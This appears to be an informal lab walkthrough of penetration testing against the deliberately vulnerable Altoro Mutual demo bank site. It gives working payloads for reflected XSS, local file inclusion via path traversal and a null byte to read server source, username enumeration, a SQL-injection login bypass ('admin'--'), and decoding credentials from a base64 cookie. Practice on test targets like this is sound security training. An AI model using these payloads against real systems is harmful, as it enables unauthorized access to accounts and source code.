Sample site: http://demo.testfire.net/

1) Begin basic pentest by searching something in search bar.

-Try searching for "Fixed deposit" - search shud not be successful
-Try running a basic script using search bar in webpage to check any vulnerabili
ty : <h3>Hello from XSS</h3> - search shud not be successful but script executes
 indicating vulnerability.

2) Now try browsing the website by clicking various hyperlinks and observe the u
rl in address bar.
-Several links in the left column like PERSONAL and sublinks, SMALL BUSINESS and
 sublinks etc. all begin with
http://demo.testfire.net/default.aspx?content=xyz
where xyz is the hyperlink id

Ex: when u click on Investments and Insurance, u observe the url as
http://demo.testfire.net/default.aspx?content=personal_investments.htm

So, here xyz= personal_investments.htm

4) Try modifying the value of xyz.
Ex: http://demo.testfire.net/default.aspx?content=apple
(xyz=apple)

Observe the output : Error! File must be of type TXT or HTM

Conclusion: The content to be compiled shud be a html or text file.

5) So, we try to put some text file name(which obviously does not exist or will
be a sheer coincident if it does) and then we observe the output.
Ex: Could not find file 'C:\downloads\AltoroMutual_v6\website\static\apple.txt'.

Conclusion: There is a file inclusion vulnerability. We will have to exploit whe
ther it is a local or remote file inclusion(LFI/RFI), but that is outside the sc
ope of this website. Also we have located the root folder in the webserver.

6) Now try clicking some more hyperlinks on the default home page

When u click LOCATIONS hyperlink, it rather starts downloading a file called cgi
.exe

Let it download and explore the file using command prompt. Observe the output. O
bserve that some directory listings can be extracted. The same is achieved thru
exploring the page source code.

We come to know about different directories by observing ../ before them.

Try exploring these folders. Some may fail, some may open.

Ex: The following link opens the bank directory list

http://demo.testfire.net/bank/

We can view login.apsx and login.apsx.cs files

NOTE: aspx files page diisplay details while apsx.cs contains action and control
 methods

We will have explore login.aspx.cs file. Downloding this fiile does not help and neither does viewing the source code of login page.

Lets try to put modified URLs :

-> http://demo.testfire.net/bank/login.aspx.cs
does not work and throws error as permission iis not there

-> http://demo.testfire.net/default.aspx?content=bank/login.aspx.cs

This format is obtained from initial steps of exploitation
This throws the same error as before : Error! File must be of type TXT or HTM

So we will have to supply this file as a text file.

To do this, we terminate the URl with a NULL character %00. This allows us to ad d an extension of our choice. By terminating the URl with a NULL character, the origfinal extension (aspx.cs in this case) is treated the internal extension, wh ile the one we provide is treated as the external extention.

http://demo.testfire.net/default.aspx?content=bank/login.aspx.cs%00.txt

However this URl does not execute. It assumes that the file is located in C:\downloads\AltoroMutual_v6\website\static\ folder which is incorrect. We will have to redirect it to the root folder on the web server.
Hence we modify the URl as follows:

http://demo.testfire.net/default.aspx?content=../bank/login.aspx.cs%00.txt

Now, we can view the source code.

7) Before we exploit the source code, let us try some dummy names for login

Ex: Username: tom
Password: xyz

U will receive the following error

Login Failed: We're sorry, but this username was not found in our system. Please try again.

Now try username: admin
Password: abc

U will receive, but a different error this time

Login Failed: Your password appears to be invalid. Please re-enter your password carefully.

This vulnerrability concludes that admin is a valid username, only password is i ncorrect.

Now try SQL injection for username to verify whether passwords can be made ignor ed or not.

Username: admin' OR 1=1
Password: abc

U will receive the following output

Syntax error (missing operator) in query expression 'username = 'admin' OR 1=1' AND password = 'aaa''.

This indicates that the SQl query is just performing AND operation and we can ma ke the password get ignored by making the AND password ='aaa'' as a comment as f ollows

'username = 'admin--' OR 1=1' AND password = 'aaa''

The -- after username makes the remaining query a comment. So the Databse only s ees the query as follows

'username = 'admin

Hence, just the username match in databse is required and password can be anythi ng.

So now, on login page put Username: admin'--
password: anything

We will have to add ' before -- and after admin due to the following reasons:
-Inspecting the login.aspx.cs files shows the following query
 string query2 = "SELECT * From users WHERE username = '" + uName + "'"

As we put -- after admin, the single quote ' is terminated and the following que ry is generated

'username = 'admin instead of 'username = 'admin'

Note that the single quote at the end of admin iis missing

Hence, we add the single quote too in username field.

8) Now again go to the login page and enter credentials. Before hitting submit/l ogin button, Start liveheaders or burpsuite or equivalent utility.
Now hit submit/login button and observe the output on liveheaders. You will noti ce some cookie data with login credentials.

amUserInfo=UserName=YWRtaW4nIE9SIDE9MjstLQ==&Password=dGVzdA==

This is a bse64 encoding.

NOte: A base64 encoding is identified by grouping the code in pairs of 4 charach ters and verifying that no charachter is repeated and that it contains a-z,A-Z,0 -9 and is terminated by a 0,=,== and the total length all inclusive is a multipl e of 4

Go to https://www.base64decode.org/ to decode the strings

You will obtain the following :
username: admin' OR 1=2;--
password: test

So if a valid user has logged in already, and if an attacker gets acccess to the system, he can extract user credentials from the cookie

9) Now after successful login, you are redirected to the following page http://demo.testfire.net/bank/main.aspx